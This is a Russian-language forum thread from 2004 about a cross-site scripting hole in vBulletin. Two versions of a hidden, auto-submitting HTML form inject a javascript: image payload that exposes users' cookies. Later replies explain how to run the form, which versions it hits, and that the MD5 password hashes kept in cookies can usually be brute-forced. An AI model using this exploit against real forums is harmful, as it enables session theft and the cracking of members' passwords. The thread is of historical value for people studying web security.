Обнаружена уязвимость в vBulletin. Удаленный атакующий может получить доступ к важной информации пользователей.

Пример:

code:

<form action="http://host/newreply.php" name="vbform"
method="post" style='visibility:hidden'>
<input name="WYSIWYG_HTML"
value="&lt;IMG src="java script:alert(document.cookie)"&gt;"/>
<input name="do" value="postreply"/>
<input name="t" value="123456" />
<input name="p" value="123456" />
<input type="submit" class="button" name="preview"/>
</form>
&lt;script&gt;
document.all.preview.click();
&lt;/script&gt; 

__________________
Жизнь - вредная штука, от нее умирают...

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

Yoghurt
Надо чтобы админ вставил это шаблон? я правильно понимаю?

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

Мля .... действительно работает .... (
Нужно что-то делать ....

__________________
.

Сообщение было отредактировано GenUS 28-06-2004 в 16:13

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

Более корректный вот этот код:
code:

<form action="http://forum/newreply.php" name="vbform"
method="post" style='visibility:hidden'>
<input name="WYSIWYG_HTML"
value="&lt;IMG src="java script:alert(document.cookie)"&gt;"/>
<input name="do" value="postreply"/>
<input name="t" value="441" />
<input name="p" value="6308" />
<input type="submit" class="button" name="preview"/>
</form>
<script>
document.all.preview.click();
</script>

..........
<input type="submit" class="button" name="sbutton"/>
</form>
<script>
document.all.sbutton.click();
</script>

То будет постится сразу и будет показывать в посте:
[img]java script:alert(document.cookie)[/img] и никаких Alert-ов ....

ЗЫ В аттаче скриншот того, что происходит при превью ...

Файл: untitled-1.gif
Был скачан 82 раз(а).

__________________
.

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

интересно, а на 3.0.0 тоже рабоатет? и ваще-то я не понял.. что именно надо сделать с этим кодом? Ввести его в форму ответа или что?

MCTarakan добавил 28-06-2004 в 17:03:21:
да, я так понял в инфе все-равно пароль который засекречен MD5? Его можно расшифровать или нет?

__________________
yMC.ru - хомяк музыканта

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

MCTarakan
В отдельный html файл вставляешь и в браузере открываешь его ...

MD5 расшифровать при возможности можно ... чаще всего только брутфорсом ... хотя кажется в 3.0.x в исходный пароль "подмешивается" еще что-то ... так-что в этом случае расшифровать становится значительно сложней ....

__________________
.

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

А на vb3.0.0 эта дыра есть?

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

в 3.0.0 вроде эта дыра не заработала (во всяком случае у меня)...

__________________
yMC.ru - хомяк музыканта

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

GenUS
То, что с паролем подмешивается, этого мало. Там подмешивается какая-то подборка чисел, которую можно и самому изменить. Но толку от этого мало будет.
Если посмотреть как замешивается сессия, это я бы сказал супер. Вот может такую же фишку и смешивать с паролем. Хотя потом расшифровать наверное не расшифруешь.

__________________
Gets.ru - Компьютерный Портал

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

quote:

---

Если посмотреть как замешивается сессия, это я бы сказал супер. Вот может такую же фишку и смешивать с паролем. Хотя потом расшифровать наверное не расшифруешь.

---

Сообщение было отредактировано NeoExpert 30-06-2004 в 01:57

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

NeoExpert
Логично! Но на вряд ли получится, т.к. сессия постоянно разная, т.е. получится что один раз смешалась, а потом когда система будет проверять пароль, то в конечном итоге все прийдет к тому, что система будет ругаться что пароль неверный.

__________________
Gets.ru - Компьютерный Портал

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

А в чем "дыра" заключается? Что ты сам свой MD5 пароль увидишь?

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

W.M. я так понял MD5-пароль того чела, чей постИД ты введешь!

__________________
yMC.ru - хомяк музыканта

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

аа я понял... типа пытаемся обмануть борду что мы хотим preview и она наивно нам отдается вместе со всеми MD5 :-)

Я вообще не понимаю - зачем в куках хранить хеш пароля... еще бы кредитки номер отдавали... куки же не секьюрные, по http передаются (за редким исключением)...

Сообщить модератору об этом сообщении | Предупреждение | IP: определен

quote:

---

W.M. я так понял MD5-пароль того чела, чей постИД ты введешь!

---

__________________
вот так вот...

ICQ 937160

Сообщить модератору об этом сообщении | Предупреждение | IP: определен